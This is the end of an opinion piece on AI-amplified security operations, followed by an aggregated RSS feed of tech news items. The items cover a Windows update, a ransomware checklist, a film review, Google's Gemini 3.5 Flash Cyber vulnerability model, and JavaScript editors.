<p class="wp-block-paragraph">Teams are investing more heavily in proactive security activities. Detection engineering programs are expanding. Threat hunting is becoming more accessible. Analysts are spending more time improving systems and less time repeating investigative tasks.</p>



<p class="wp-block-paragraph">These changes create what I think of as an analyst-amplified SOC: an environment where AI expands the reach of security professionals and enables deeper security work across the organization.</p>



<h2 class="wp-block-heading">Trust is critical and it doesn’t have to compromise speed</h2>



<p class="wp-block-paragraph">Faced with a compressing timeline, the instinct is to treat speed and trust as a trade-off, i.e., move faster, verify less. That trade-off feels inevitable. It isn’t.</p>



<p class="wp-block-paragraph">You don’t trust AI in the abstract. You trust that a system understands your tools, your telemetry and the edge cases that only exist in your network. The problem was never speed. It’s speed without context. The faster a context-blind system runs, the more decisions you’re left unable to verify.</p>



<p class="wp-block-paragraph">The tension eases when the system is quick to deploy and tunes to your environment once it’s there, rather than treating every network the same. Speed stops being the thing you trade against trust. The more it learns about your environment, the sharper and more trustworthy it becomes, so the two compound rather than compete. Trust still develops through operational evidence such as measurable outcomes, visibility into decisions and consistent performance. But where that evidence accrues matters.</p>



<p class="wp-block-paragraph">The organizations making the fastest real progress understand this. They don’t compromise quality and trust for speed. They invest in AI that earns trust inside their own environment, so they don’t have to choose.</p>



<h2 class="wp-block-heading">Leadership during a period of rapid change</h2>



<p class="wp-block-paragraph">The conversations surrounding Mythos and Glasswing reflect a broader reality facing security leaders.</p>



<p class="wp-block-paragraph">AI is becoming part of both offense and defense. Security teams are incorporating it into investigations, detection engineering, response workflows and threat hunting. Attackers are incorporating it into their own operations.</p>



<p class="wp-block-paragraph">Security leaders have an opportunity to modernize operating models, expand defensive capacity and build organizational experience while these capabilities continue to evolve.</p>



<p class="wp-block-paragraph">The organizations making progress today are investing in readiness. They are building experience, adapting workflows and preparing teams for a new model of security operations.</p>



<p class="wp-block-paragraph">The next phase of cybersecurity will be defined by how effectively organizations combine human judgment with machine-scale execution.</p>



<p class="wp-block-paragraph">The question facing security leaders is increasingly clear: How quickly can their organizations adapt to a continuously changing threat environment?</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Windows 26H2 bringt Voice Isolation, neue Suche und einen Dell-Notfallpatch - it boltwise]]></title>
<description><![CDATA[Auch im Server-Umfeld bleibt der Betrieb herausfordernd: WSUS (Windows Server Update Services) leidet seit dem 13. Juli unter Performance ...]]></description>
<link>https://tsecurity.de/de/3685730/windows-server/windows-26h2-bringt-voice-isolation-neue-suche-und-einen-dell-notfallpatch-it-boltwise/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685730/windows-server/windows-26h2-bringt-voice-isolation-neue-suche-und-einen-dell-notfallpatch-it-boltwise/</guid>
<pubDate>Wed, 22 Jul 2026 11:01:47 +0200</pubDate>
<category>🪟 Windows Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Auch im Server-Umfeld bleibt der Betrieb herausfordernd: WSUS (<b>Windows Server</b> Update Services) leidet seit dem 13. Juli unter Performance ...]]></content:encoded>
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<title><![CDATA[Ransomware Incident Response Checklist | UpGuard]]></title>
<description><![CDATA[Navigate modern ransomware and double extortion with this 5-phase incident response checklist based on NIST guidelines. Contain, recover, and harden today.]]></description>
<link>https://tsecurity.de/de/3685563/it-security-nachrichten/ransomware-incident-response-checklist-upguard/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685563/it-security-nachrichten/ransomware-incident-response-checklist-upguard/</guid>
<pubDate>Wed, 22 Jul 2026 09:59:40 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Navigate modern ransomware and double extortion with this 5-phase incident response checklist based on NIST guidelines. Contain, recover, and harden today.]]></content:encoded>
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<title><![CDATA[Apple TV’s The Dink Debuts This Week, Here’s What Critics Are Saying]]></title>
<description><![CDATA[Apple TV’s new sports comedy from producer Ben Stiller is almost here, and the first reviews suggest that The Dink delivers a light, funny, and familiar underdog story.



When Does The Dink Premiere on Apple TV?



The Dink will premiere globally on Apple TV on Friday, July 24, 2026. The movie r...]]></description>
<link>https://tsecurity.de/de/3685502/ios-mac-os/apple-tvs-the-dink-debuts-this-week-heres-what-critics-are-saying/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685502/ios-mac-os/apple-tvs-the-dink-debuts-this-week-heres-what-critics-are-saying/</guid>
<pubDate>Wed, 22 Jul 2026 09:18:32 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple TV’s new sports comedy from producer Ben Stiller is almost here, and the first reviews suggest that The Dink delivers a light, funny, and familiar underdog story.



When Does The Dink Premiere on Apple TV?



The Dink will premiere globally on Apple TV on Friday, July 24, 2026. The movie runs for 1 hour and 42 minutes and combines sports, comedy, family tension, and an unlikely journey into competitive pickleball.



Jake Johnson leads the cast as Dusty Boyd, a former tennis prodigy who now coaches children at a country club managed by his demanding father, Chuck, played by Ed Harris.



Dusty strongly dislikes pickleball and supports his father’s campaign against the increasingly popular sport. However, an old wrist injury forces him to stop playing tennis and use pickleball as part of his recovery. His decision soon places him in the middle of a battle that could decide the future of the struggling club.



Mary Steenburgen plays Candace, an experienced pickleball player who helps Dusty understand the sport. The supporting cast includes Aaron Chen, Patton Oswalt, Chloe Fineman, Chris Parnell, Christine Taylor and Martin Kove. Tennis stars Andy Roddick and John McEnroe also appear in supporting roles.



What Are Critics Saying About The Dink?



Early reviews describe The Dink as a playful return to the exaggerated sports comedies that became popular during the 2000s. Several critics have compared its tone and underdog structure to movies such as Dodgeball and Talladega Nights.



Jake Johnson’s performance has received particular praise. Reviewers say his dry delivery works well for Dusty, a bitter former athlete who slowly begins to reconsider his opinions about pickleball and his relationship with his father.



Mary Steenburgen and Ed Harris also bring warmth to the story, while the appearances from Ben Stiller, John McEnroe and Andy Roddick add more humor to the tournament scenes.



Some reviews note that the plot follows a predictable sports-movie structure and leaves a few supporting storylines underdeveloped. Still, the overall response points to an entertaining comedy with silly jokes, likable performances and enough heart to support its familiar storyline.



The Dink arrives on Apple TV on July 24 and looks suited to viewers searching for a relaxed summer comedy with an unusual sporting twist.




https://www.youtube.com/watch?v=YyVNFzx5Pl8]]></content:encoded>
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<title><![CDATA[Google Unveils Gemini 3.5 Flash Cyber to Find and Fix Software Vulnerabilities Faster]]></title>
<description><![CDATA[Google has introduced Gemini 3.5 Flash Cyber, a lightweight AI model designed to improve cybersecurity by helping defenders identify, validate, and patch software vulnerabilities more efficiently. Built on Gemini 3.5 Flash and optimized for security tasks, Flash Cyber aims to deliver a cost-effec...]]></description>
<link>https://tsecurity.de/de/3685467/it-security-nachrichten/google-unveils-gemini-35-flash-cyber-to-find-and-fix-software-vulnerabilities-faster/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685467/it-security-nachrichten/google-unveils-gemini-35-flash-cyber-to-find-and-fix-software-vulnerabilities-faster/</guid>
<pubDate>Wed, 22 Jul 2026 08:55:35 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1133" height="692" src="https://thecyberexpress.com/wp-content/uploads/Flash-Cyber.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Flash Cyber" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Flash-Cyber.webp 1133w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-300x183.webp 300w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-1024x625.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-768x469.webp 768w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-600x366.webp 600w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-150x92.webp 150w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-750x458.webp 750w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber.webp 1133w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-300x183.webp 300w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-1024x625.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-768x469.webp 768w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-600x366.webp 600w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-150x92.webp 150w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-750x458.webp 750w" sizes="(max-width: 1133px) 100vw, 1133px" title="Google Unveils Gemini 3.5 Flash Cyber to Find and Fix Software Vulnerabilities Faster 4"></p><span data-contrast="auto">Google has introduced Gemini 3.5 Flash Cyber, a lightweight AI model designed to improve cybersecurity by helping defenders identify, validate, and patch software vulnerabilities more efficiently. Built on Gemini 3.5 Flash and optimized for security tasks, Flash Cyber aims to deliver a cost-effective alternative to larger AI models while supporting large-scale vulnerability analysis.</span>

<span data-contrast="auto">The company said it has invested in cybersecurity research for years, including automated vulnerability discovery through CodeMender, its code security agent that can detect and fix critical software flaws. However, as AI systems become increasingly capable of discovering <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-vulnerabilities/" title="vulnerabilities" data-wpil-keyword-link="linked" data-wpil-monitor-id="29060">vulnerabilities</a> faster than defenders can resolve them, Google believes a scalable and affordable approach is needed.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">Gemini 3.5 Flash Cyber Focuses on Scalable Cybersecurity</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">According to <a href="https://deepmind.google/blog/introducing-gemini-3-5-flash-cyber/" target="_blank" rel="nofollow noopener">Google</a>, Gemini 3.5 Flash Cyber has been fine-tuned specifically to locate, verify, and remediate vulnerabilities more effectively than Gemini's standard Flash models. Because of the technology's dual-use nature, the company is initially limiting access through a pilot program for governments and trusted partners via CodeMender, with broader availability planned over time.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Google also confirmed that CodeMender's core capabilities will be made available through generally available Gemini models on the Gemini Enterprise Agent Platform.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">Flash Cyber Improves Large-scale Code Analysis</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">A major challenge in <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-cybersecurity/" target="_blank" rel="noopener" title="cybersecurity" data-wpil-keyword-link="linked" data-wpil-monitor-id="29059">cybersecurity</a> is exploring vast execution search spaces across complex codebases. Instead of relying on a single call to a <a href="https://thecyberexpress.com/us-gets-pre-release-access-to-ai-models/" target="_blank" rel="noopener">large language model</a>, CodeMender invokes Flash Cyber multiple times, allowing sub-agents to inspect significantly more code paths before generating one consolidated report.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Google said the model's speed and lower operating cost make it suitable for continuous code scanning, software launch processes, and commit-scanning pipelines at scale.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">Benchmark Results Show Competitive Performance</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Google evaluated Gemini 3.5 Flash <a class="wpil_keyword_link" href="https://thecyberexpress.com/cyber-news/" title="Cyber" data-wpil-keyword-link="linked" data-wpil-monitor-id="29061">Cyber</a> using the CyberGym benchmark, which measures AI agents against hundreds of real-world software vulnerabilities. Configured to call the model up to five times before producing a final report, CodeMender achieved competitive performance against significantly larger cybersecurity models. Google noted that competitor results were based on provider self-reported scores.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The model also outperformed Gemini 3.5 Flash and 3.6 Flash during Google's internal Big Sleep evaluation, which tested <a class="wpil_keyword_link" href="https://thecyberexpress.com/firewall-daily/vulnerabilities/" title="vulnerability" data-wpil-keyword-link="linked" data-wpil-monitor-id="29058">vulnerability</a> discovery in complex projects such as Chrome and Safari without safety guardrails.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">In Chrome's production commit-scanning pipeline, where vulnerabilities remained undisclosed to prevent benchmark contamination, Flash Cyber again delivered a significant improvement over Gemini 3.5 Flash. Google added that competitor models released after Opus 4.6 were excluded because their safety guardrails prevented them from completing the tasks.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Testing on the V8 JavaScript Engine found 55 unique confirmed vulnerabilities with <a href="https://thecyberexpress.com/gemini-ad-safety-targets-scam-ads/" target="_blank" rel="noopener">Gemini</a> 3.5 Flash Cyber, compared with 47 for Gemini 3.5 Flash and 36 for Opus 4.6, including 10 issues missed by both competing models.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">Real-world Cybersecurity Deployment</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Google said Flash Cyber is already helping secure internal projects, including Chrome, Android, Cloud, Ads and YouTube. In one example, Google's Cloud Vulnerability Research team used the model to identify remote code execution vulnerabilities in public APIs and a memory-corruption flaw within a sensitive production service in just two hours. The model also generated a 100% reliable <a href="https://thecyberexpress.com/cve-2026-45829-chromatoast-chromadb/" target="_blank" rel="noopener">remote code execution</a> exploit capable of bypassing Address Space Layout Randomization (ASLR) and Write XOR Execute (W^X).</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Google added that early feedback from Wiz and Cloud CISO <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="Security" data-wpil-keyword-link="linked" data-wpil-monitor-id="29062">Security</a> Engineering testers indicated a significant capability improvement over Gemini 3.5 Flash. The company also highlighted resources such as OSV.dev, which tracks more than 700,000 open-source vulnerabilities, and over a decade of OSS-Fuzz <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29063">data</a> as key training assets supporting its cybersecurity models.</span><span data-ccp-props="{}"> </span>]]></content:encoded>
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<title><![CDATA[Die besten JavaScript-Editoren]]></title>
<description><![CDATA[width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px">Diese Texteditoren bringen JavaScript-Developer weiter.  R.Narong | shutterstock.com



JavaScript-Entwicklern stehen viele gute Tools zur Auswahl. Beinahe zu viele, um den Überblick zu behalten. In diesem Artikel stellen w...]]></description>
<link>https://tsecurity.de/de/3685190/it-security-nachrichten/die-besten-javascript-editoren/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685190/it-security-nachrichten/die-besten-javascript-editoren/</guid>
<pubDate>Wed, 22 Jul 2026 05:40:30 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption">Diese Texteditoren bringen JavaScript-Developer weiter.  </figcaption></figure><p class="imageCredit">R.Narong | shutterstock.com</p></div>



<p class="wp-block-paragraph"><a href="https://www.computerwoche.de/article/2832952/was-ist-javascript.html" target="_blank">JavaScript</a>-Entwicklern stehen viele gute Tools <a href="https://www.computerwoche.de/article/2821289/7-javascript-projekte-die-sie-kennen-sollten.html" target="_blank">zur Auswahl</a>. Beinahe <a href="https://www.computerwoche.de/article/2833386/die-besten-javascript-frameworks-im-vergleich.html" target="_blank">zu viele</a>, um den Überblick zu behalten. In diesem Artikel stellen wir Ihnen die besten Texteditoren vor, um:</p>



<ul class="wp-block-list">
<li>mit JavaScript, HTML5 und CSS zu entwickeln, sowie</li>



<li>mit <a href="https://www.computerwoche.de/article/3995075/was-ist-markdown.html" target="_blank">Markdown</a> zu dokumentieren.</li>
</ul>



<h2 class="wp-block-heading"><a href="https://www.sublimetext.com/" target="_blank" rel="noreferrer noopener">Sublime Text</a></h2>



<p class="wp-block-paragraph">Bei Sublime Text sind Sie genau richtig, wenn:</p>



<ul class="wp-block-list">
<li>Sie einen flexiblen, leistungsstarken, erweiterbaren und ausgesprochen schnellen Code-Editor suchen.</li>



<li>es Ihnen nichts ausmacht, für Code Checking, Debugging und Deployment zu anderen Fenstern zu wechseln.  </li>
</ul>



<p class="wp-block-paragraph">Zu den vielen weiteren, bemerkenswerten Stärken von <a href="https://www.computerwoche.de/article/3607168/code-editor-vergleich-visual-studio-code-vs-sublime-text.html" target="_blank">Sublime Text</a> gehören neben seiner Geschwindigkeit und dem Support für mehr als 70 Datei-Typen (darunter JavaScript, HTML und CSS) auch noch:</p>



<ul class="wp-block-list">
<li>Instant-Navigation und Projekt-Switching,</li>



<li>die Option, eine Reihe von Änderungen per Mehrfachauswahl „auf einen Schlag“ auszuführen,</li>



<li>Support für mehrere Bildschirme und Split-Windows,</li>



<li>eine Plug-in-API auf Python-Basis, sowie</li>



<li>eine einheitliche, durchsuchbare Befehlspalette.</li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized">&gt;<figcaption class="wp-element-caption">Sublime Text ist in vielerlei Hinsicht konfigurier- und anpassbar. </figcaption></figure><p class="imageCredit">IDG</p></div>




<p class="wp-block-paragraph">Für Programmierer, die von anderen Editoren kommen, hilfreich: Sublime Text unterstützt sowohl TextMate-Bundles (ohne Befehle) als auch die Vi/Vim-Emulation. Dabei lässt sich der Code-Editor in so gut wie jeder Hinsicht anpassen, egal, ob es um Farbschemata, Schriftarten, Tastenkombinationen, Snippets oder die Regeln für die Syntaxhervorhebung geht.</p>



<p class="wp-block-paragraph">Rund um Sublime Text existiert ebenfalls eine aktive Community, die Packages und Plug-ins erstellt und pflegt. Mit Hilfe des <a href="https://sublime.wbond.net/browse" target="_blank" rel="noreferrer noopener">Package Installers</a> sind diverse zusätzliche Funktionen verfügbar.</p>



<ul class="wp-block-list">
<li><strong>Preis</strong>: unbegrenzte kostenlose Testversion; 65 Dollar pro Jahr und Seat für die Business-Version; 99 Dollar für eine Privatlizenz (Support für drei Jahre);</li>



<li><strong>Plattformen</strong>: Windows, macOS und Linux;</li>
</ul>



<h2 class="wp-block-heading"><a href="https://code.visualstudio.com/" target="_blank" rel="noreferrer noopener">Visual Studio Code</a></h2>



<p class="wp-block-paragraph">Visual Studio Code ist ein quelloffener, kostenloser Editor von Microsoft. Er enthält einen Mix aus Komponenten von Visual Studio und der Open-Source-Shell Atom Electron und bietet umfassenden Support für:</p>



<ul class="wp-block-list">
<li>ASP.Net Core Development mit C# und</li>



<li>Node.js Development mit TypeScript und JavaScript.</li>
</ul>



<p class="wp-block-paragraph">Dank des TypeScript-Compilers und der Salsa-Engine bietet <a href="https://www.computerwoche.de/article/2833165/10-tricks-fuer-visual-studio-code.html" target="_blank">Visual Studio Code</a> eine erstaunlich gute JavaScript-Codevervollständigung. Dazu sendet VS Code Ihren JavaScript-Code im Hintergrund an den TypeScript-Compiler, um Typen abzuleiten und eine Symboltabelle zu erstellen.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized">&gt;<figcaption class="wp-element-caption">Visual Studio Code darf in einer Auflistung der besten JavaScript-Editoren nicht fehlen.</figcaption></figure><p class="imageCredit">IDG</p></div>




<p class="wp-block-paragraph">Während Sie eine Expression eingeben, ermöglicht dieselbe Symboltabelle es IntelliSense, diverse nützliche Pop-up-Optionen zur Codevervollständigung zur Verfügung zu stellen.</p>



<p class="wp-block-paragraph">Der Support für <a href="https://www.computerwoche.de/article/2812266/was-ist-git.html" target="_blank">Git</a> ist umfangreich und simpel zu nutzen, der VS-Code-Debugger bietet eine hervorragende Erfahrung für Node.js und ASP.Net-Projekte. Visual Studio Code kann darüber hinaus auch mit externen Task-Runnern wie gulp und jake integriert werden und kann mit einem umfangreichen Ökosystem für Extensions aufwarten.</p>



<ul class="wp-block-list">
<li><strong>Preis</strong>: kostenlos;</li>



<li><strong>Plattformen</strong>: Windows, macOS, Linux;</li>
</ul>



<h2 class="wp-block-heading"><a href="https://brackets.io/?lang=de" target="_blank" rel="noreferrer noopener">Brackets</a></h2>



<p class="wp-block-paragraph">Brackets ist ein kostenloser Open-Source-Editor, der ursprünglich von Adobe stammt. Das Ziel der Entwickler: Bessere Tools für JavaScript, HTML, CSS und verwandte, offene Webtechnologien bereitzustellen. Auch Brackets selbst ist in JavaScript, HTML und CSS geschrieben.</p>



<p class="wp-block-paragraph">Zusätzlich zu den integrierten Funktionen verfügt Brackets über einen Extension Manager. Der ist auch nötig, denn die sind für diverse Programmiersprachen und Tools aus der Welt der <a href="https://www.computerwoche.de/article/2824968/3-wege-zum-vorzeige-frontend.html" target="_blank">Frontend-Entwickler</a> verfügbar. In der Praxis ist Brackets zwar nicht so schnell wie Sublime Text (siehe weiter oben) oder TextMate (siehe weiter unten). Aber der Editor ist immer noch schnell genug. Brackets bietet umfassenden Support für:</p>



<ul class="wp-block-list">
<li>JavaScript,</li>



<li>CSS,</li>



<li>HTML und</li>



<li>Node.js.</li>
</ul>



<p class="wp-block-paragraph">Darüber hinaus bietet Brackets weitere nützliche Funktionen wie beispielsweise:</p>



<ul class="wp-block-list">
<li>CSS inline in Verbindung mit einer HTML-ID bearbeiten,</li>



<li>eine übersichtliche Benutzeroberfläche und</li>



<li>eine Live-Vorschau für Webseiten in Bearbeitung.</li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized">&gt;<figcaption class="wp-element-caption">Brackets ist in erster Linie für die Webentwicklung konzipiert.</figcaption></figure><p class="imageCredit">IDG</p></div>




<p class="wp-block-paragraph">Auch beim Blick auf die automatische Vervollständigung von JavaScript-Code kann Brackets in der Praxis überzeugen: Es schließt automatisch sämtliche Klammern und stellt Dropdown-Menüs für Keywords, Variablen und Methoden zur Verfügung. Der JavaScript-Editor ist auch in der Lage, den Node.js-Debugger zu steuern und Node über ein Menüelement neu zu starten. Erweiterungen für zusätzliche Funktionen wie <a href="https://www.computerwoche.de/article/2794625/was-javascript-von-typescript-unterscheidet.html" target="_blank">TypeScript</a>– und <a href="https://www.computerwoche.de/article/2831038/html-das-javascript-kann.html" target="_blank">JSX</a>-Support, Bower- und Git-Integration lassen sich schnell und einfach hinzufügen.</p>



<ul class="wp-block-list">
<li><strong>Preis</strong>: kostenlos;</li>



<li><strong>Plattformen</strong>: Windows, macOS, Linux;</li>
</ul>



<h2 class="wp-block-heading"><a href="https://github.com/atom" target="_blank" rel="noreferrer noopener">Atom</a></h2>



<p class="wp-block-paragraph">Dieser kostenlose, quelloffene und “hack”-bare Programmier-Editor stammt aus dem Hause GitHub und lässt sich in die entsprechende Anwendung integrieren. Tausende von Packages und Themes stehen zur Verfügung, um Atom anzupassen. Der Quellcode von Atom wird selbstverständlich auch auf GitHub gehostet, ist in CoffeeScript geschrieben und in Node.js integriert.</p>



<p class="wp-block-paragraph">Bei Atom handelt es sich um eine spezialisierte Variante von Chromium, die eher als Texteditor denn als Webbrowser konzipiert ist. Jedes Atom-Fenster ist im Wesentlichen eine lokal gerenderte Webseite.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized">&gt;<figcaption class="wp-element-caption">Der Open-Source-Editor von GitHub kann in der Praxis überzeugen.</figcaption></figure><p class="imageCredit">IDG</p></div>



<p class="wp-block-paragraph">In der Praxis zeigt sich Atom performant. Der Editor ist sofort einsatzbereit und überzeugt unter anderem mit:</p>



<ul class="wp-block-list">
<li>einem “Fuzzy-Finder”,</li>



<li>der Möglichkeit, schnell und projektübergreifend zu suchen,</li>



<li>Multi-Cursor- und Windows-Optionen,</li>



<li>Snippets und Code-Folding sowie</li>



<li>der Möglichkeit, TextMate-Grammatiken und -Themen zu importieren.</li>
</ul>



<p class="wp-block-paragraph">Atom ist insbesondere praktisch, um Repositories zu durchsuchen, die von GitHub geklont wurden, weil die GitHub-Applikation zu diesem Zweck ein Kontextmenüelement enthält.</p>



<ul class="wp-block-list">
<li><strong>Preis</strong>: kostenlos;</li>



<li><strong>Plattformen</strong>: Windows, macOS, Linux;</li>
</ul>



<h2 class="wp-block-heading"><a href="https://notepad-plus-plus.org/" target="_blank" rel="noreferrer noopener">Notepad++</a></h2>



<p class="wp-block-paragraph">Ein weiterer kostenloser Open-Source-Editor, der gut für JavaScript geeignet ist – allerdings nur auf Windows läuft. Notepad++ unterstützt außerdem etwa 50 weitere Programmier- und Markup-Sprachen. Neben seinem Multi-Document-Editing-Fenster bietet dieser Editor auch eine “Workspace Tree View”, sowie Registerkarten mit Funktionslisten und Dokumentenübersicht. In der Praxis bekommt man dabei nie das Gefühl, ausgebremst zu werden.</p>



<p class="wp-block-paragraph">Mit Syntax-Farb- und -Folding-Optionen, leistungsstarken Editing-Funktionen sowie Paramter-Hints hat Notepad++ das Zeug zum primären JavaScript-Texteditor. Allerdings ist es bei weitem nicht der umfassendste JavaScript-Editor, wenn es darum geht:</p>



<ul class="wp-block-list">
<li>Code zu generieren,</li>



<li>Refactoring anzustoßen oder</li>



<li>schnell durch große Projekte zu navigieren.</li>
</ul>



<p class="wp-block-paragraph">Nichtsdestotrotz ist Notepad++ ist auch heute noch nützlich – vor allem, wenn es schnell und kostenlos gehen muss.</p>



<ul class="wp-block-list">
<li><strong>Preis</strong>: kostenlos;</li>



<li><strong>Plattform</strong>: Windows;</li>
</ul>



<h2 class="wp-block-heading"><a href="https://www.barebones.com/products/bbedit/" target="_blank" rel="noreferrer noopener">BBEdit</a></h2>



<p class="wp-block-paragraph">Mit BBEdit steht auch für macOS-Benutzer ein proprietärer JavaScript-Editor bereit. Er unterstützt etwa 35 Programmier- und Markup-Sprachen. Für viele weitere Sprachen ist Community-Support (von unterschiedlicher Qualität) über die BBEdit-Website verfügbar. Sowohl die kostenlose als auch die lizenzierte Version bieten Syntaxhervorhebung. Code-Vervollständigung für Funktions- und Variablennamen, einige Keywords und ctags bleiben den Nutzern der kostenpflichtigen Version vorbehalten. Diese lässt sich auch in die <a href="https://www.computerwoche.de/article/2833711/version-control-systems-ein-ratgeber.html" target="_blank">Versionskontrollsysteme</a> Git, Perforce und Subversion integrieren.</p>



<p class="wp-block-paragraph">BBEdit wurde bereits vor einiger Zeit grundlegend überarbeitet und überzeugt in der Praxis nun auch, wenn es größere Dateien verarbeiten muss. Auch was HTML und Markdown angeht, gibt es nichts zu beanstanden – das funktioniert sogar besser als JavaScript.</p>



<ul class="wp-block-list">
<li><strong>Preis</strong>: kostenlose aber eingeschränkte Version; 59,99 Dollar pro Benutzer für die Vollversion;</li>



<li><strong>Plattform</strong>: macOS;</li>
</ul>



<h2 class="wp-block-heading"><a href="https://macromates.com/" target="_blank" rel="noreferrer noopener">TextMate</a></h2>



<p class="wp-block-paragraph">Dieser (ebenfalls macOS-exklusive) Code-Editor war einmal der letzte Schrei, verlor dann stark an Bedeutung und wird inzwischen wieder aktiv weiterentwickelt. TextMate ist zwar keine IDE, lässt sich aber über Bundles, Snippets, Makros und sein Scoping-System mit Funktionen ausstatten, die selbst sprachspezifische Entwicklungsumgebungen vermissen lassen. Was die Geschwindigkeit angeht, ist TextMate fast so schnell wie Sublime Text.</p>



<p class="wp-block-paragraph">Für eine IDE-ähnliche Funktionalität können Sie die Shell-Integration von TextMate verwenden, erwarten Sie aber kein Code Refactoring oder automatische Unit- und Regressionstests. Wenn Sie Grunt richtig einrichten, können Sie Ihre JavaScript-Tests auf dieser Ebene natürlich trotzdem automatisieren.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized">&gt;<figcaption class="wp-element-caption">TextMate bietet diverse Bundles.</figcaption></figure><p class="imageCredit">IDG</p></div>




<p class="wp-block-paragraph">Auch Support für Markdown wird über ein integriertes Bundle bereitgestellt. Dieses enthält:</p>



<ul class="wp-block-list">
<li>eine Preview-Funktion für Dokumente,</li>



<li>ein Markdown-„Cheatsheet“ sowie</li>



<li>diverse Tastenkombinationen, um Markup zu generieren.</li>
</ul>



<p class="wp-block-paragraph">Um TextMate mit Git und GitHub zu integrieren, eignet sich hingegen das Git-Bundle gut. In der Praxis erkennt TextMate vorhandene Git-Repositories und kann diese per Pull-Befehl aus dem Bundle von GitHub aktualisieren. Mit dem SQL-Bundle können Sie mit MySQL- und PostgreSQL-Datenbanken arbeiten.</p>



<ul class="wp-block-list">
<li><strong>Preis</strong>: kostenlos;</li>



<li><strong>Plattform</strong>: macOS;</li>
</ul>



<p class="wp-block-paragraph">(fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Beitrag ist <a href="https://www.infoworld.com/article/2252269/review-the-10-best-javascript-editors.html" target="_blank">im Original</a> bei unserer Schwesterpublikation Infoworld.com erschienen.</strong></p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Samsung Performance Mode on Linux]]></title>
<description><![CDATA[Hey everyobody. I'll start by saying I don't know much about computer stuff and Linux but it's been a year since I've been considering switching to a Linux distro. I just can't stand all the Windows bloatwere and useless features that get my RAM full. The only thing keeping me from totally switch...]]></description>
<link>https://tsecurity.de/de/3685111/linux-tipps/samsung-performance-mode-on-linux/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685111/linux-tipps/samsung-performance-mode-on-linux/</guid>
<pubDate>Wed, 22 Jul 2026 04:12:18 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
